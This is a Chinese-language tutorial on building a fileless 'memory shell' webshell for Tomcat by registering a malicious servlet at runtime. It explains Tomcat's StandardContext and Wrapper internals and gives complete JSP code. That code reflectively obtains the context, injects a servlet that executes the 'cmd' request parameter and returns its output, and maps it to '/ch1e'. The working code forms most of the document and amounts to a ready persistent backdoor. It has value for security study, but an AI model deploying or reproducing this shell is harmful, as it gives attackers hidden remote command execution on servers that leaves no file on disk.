Servlet Memory Shell

前言

前面学习完了Filter内存马,现在来学习Servlet内存马,其实两者本质上区别并不大,如果学习过之前的Filter内存马,学习这个Servlet内存马其实是类似的。

正文

这里为了方便师傅们理解,我随便写了个demo

TestServlet.java

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

public class TestServlet implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
    }
    @Override
    public String getServletInfo() {
        return null;
    }
    @Override
    public void destroy() {

    }
}

web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <servlet>
    <servlet-name>TestServlet</servlet-name>
    <servlet-class>TestServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>TestServlet</servlet-name>
    <url-pattern>/*</url-pattern>
  </servlet-mapping>
</web-app>

访问即可造成命令执行

image-20220411174243903

这里的话是设计到了Java Web中的Servlet,熟悉Java开发的师傅应该知道,Servlet会绑定一个url,如果用户对指定的url发起请求,这个请求会先经过Listener,然后经过Filter,最后到Servlet,那么我们如果此时有这么一个恶意的Servlet,并且绑定了指定了路径,那么是不是可以实现无文件getshell呢?(这里的话可以了解一下Servlet的生命周期)

Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

因此此时我们的目标还是需要想办法写入一个恶意的Servlet并且去注册这个Servlet,所以我们需要找到Servlet的信息是从哪里获取,这里对TestServlet的service方法下个断点进行调试

image-20220411174249576

我们继续往前走,找到获取Servlet的位置,可以发现,在ApplicationFilterChain的internalDoFilter方法中,存在如下代码

image-20220411174252936

servlet.service(request, response);去调用了servlet的service方法,此时的servlet就是我们的TestServlet,那么我们继续往回走,看看servlet是从哪里进行赋值。不过这里也不用这么麻烦了,经过Filter内存马的学习,我们大概可以了解Engine,Host,Context,Wrapper之间的关系,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例,因此我们可以直接去查看添加一个servlet后StandardContext的变化image-20220411174257096

servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装,其中有servlet的名字跟对应的类。StandardWrapper对应配置文件中的如下节点:

<servlet>
  <servlet-name>TestServlet</servlet-name>
  <servlet-class>TestServlet</servlet-class>
</servlet>

servlet也有servletMappings,记录了urlParttern跟所对应的servlet的关系standardContext.servletMappings

image-20220411174304202

对应web.xml中的如下节点

<servlet-mapping>
  <servlet-name>TestServlet</servlet-name>
  <url-pattern>/*</url-pattern>
</servlet-mapping>

因此我们如果要使用Servlet内存马的话思路比较清晰

  1. 构造一个恶意的Servlet
  2. 获取到StandardContext
  3. 用Wrapper对其进行封装
  4. 添加Wrapper到children中
  5. 绑定对应的路径和恶意的Servlet

首先先构造一个恶意的Servlet

<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };
%>

然后获取到StandardContext,这里可以直接通过request获取

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

之后就是用Wrapper对其进行封装,这里的loadonstartup是代表servlet的优先级,正数越小,优先级越高

<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

最后进行url绑定

<%
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMapping("/ch1e", name);
%>

运行以后需要先访问一下shell.jsp,把我们的Servlet进行注册,然后即可GET:/ch1e?cmd=calc

image-20220411174309668